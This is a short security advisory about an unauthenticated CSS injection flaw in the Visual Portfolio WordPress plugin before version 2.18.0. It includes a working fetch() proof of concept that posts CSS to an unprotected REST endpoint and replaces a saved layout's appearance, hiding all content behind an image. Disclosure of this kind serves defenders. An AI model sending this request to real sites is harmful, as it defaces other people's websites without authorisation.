WordPress Plugin Vulnerabilities
Visual Portfolio < 2.18.0 - Unauthenticated CSS Injection
Description
The plugin does not have proper authorisation checks in some of its REST endpoints, allowing unauthenticated users to call them and inject arbitrary CSS in arbitrary saved layouts
Proof of Concept
The post_id is the ID of a saved layout fetch('/?rest_route=/visual-portfolio/v1/update_layout&post_id=8&data[vp_custom_css]=body{background-image:url(data://image/gif;base64,R0lGODdhKAAoAIABAAAAAP///ywAAAAAKAAoAAACX4yPqcvtD6OctNqLs968GwB4DkheJUSeUxqObCu98CJTtZvaL6quucjoAYfEovGI9M2MrJjwccM9G9FglXpVyJa0LW9n9X635Gy4jOZK02YoW1x5NzNytYWdzOv3/GIBADs=);}div{display:none !important};', { method: 'POST', }).then(response => response.text()) .then(data => console.log(data));
